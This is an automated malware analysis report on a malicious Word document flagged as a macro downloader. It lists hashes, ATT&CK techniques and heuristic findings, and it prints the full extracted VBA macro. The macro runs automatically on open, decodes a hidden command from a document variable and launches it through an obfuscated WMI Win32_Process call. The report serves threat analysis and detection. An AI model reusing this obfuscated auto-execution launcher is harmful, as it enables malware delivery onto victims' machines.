Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4b02c505d2a5ca81…

MALICIOUS

Office (OOXML)

28.8 KB Created: 2020-08-05 22:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 87e70cd60130955ba6d7155d715d3072 SHA-1: 3c7f4d864a96eaa1a9e8b2179c74a159c3d90aea SHA-256: 4b02c505d2a5ca813739d155588882c2db8934fd1586a6fa3f3d867acb0dcb51
422 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution

The sample is a malicious OOXML document containing a VBA macro that automatically executes upon opening. The macro uses WMI (Win32_Process) to create a new process, indicating it's designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Sagent-9376492-0' further supports its role as a downloader.

Heuristics 10

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3451 bytes
SHA-256: 1217002a4d490c59503602dd3c36d737111e0b5718492e754593374bf2ac64f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit






              Private Sub TenTier(ByVal Multinuclear As String)







                Dim Crossfire As Long: Dim Skimmia() As Byte





               GoTo InopportunIty







               







          




Agentive:






          Subreligion StrConv(Skimmia, 64, 1055)
Exit Sub






                                        






NarcomaNia:





              







                                                                    For Crossfire = 0 To UBound(Skimmia)








             Skimmia(Crossfire) = Abs(Skimmia(Crossfire) - 5)





                  Next





                                                                            GoTo Agentive






                                                                    Exit Sub








InopportunIty:






                                                                        Skimmia = StrConv(Multinuclear, 128, 1055)





                                                                    





                                            GoTo NarcomaNia
Exit Sub
End Sub





                                                                        Sub Document_Open()








                                                                    
Call Heraklion







                                                                            End Sub
Private Sub Heraklion()







                                                        




                                                            






                                                            Dim Multinuclear As String: Multinuclear = ActiveDocument.Variables("d35b8465148").Value





              




                                                            




                                                                            






          TenTier Multinuclear





                                                                            End Sub








             





                 Private Sub Subreligion(ByVal Tubercularised As String)
Dim Harassed As String: Harassed = "."








                If Tubercularised <> "" Then






                  GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Harassed & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Tubercularised, Null, Null, 0
Else






           







                                                                        






               MsgBox "Promted usr764 ."
GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0






              







                                                                






                                                                    End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 11387 bytes
SHA-256: c94dda14ccb19cf7a6015689551886c4c2d027d5d596484c03bc6c00129e15e4
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 7030ec064d8b1a823b5f82c59830a4eb06748de8f3eeafd1a448321464293e2c
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 936 bytes
SHA-256: d052055bed4137a2f1b55d59285ea8236c02a3f3cb31ffb889d5d9cfc86f5802

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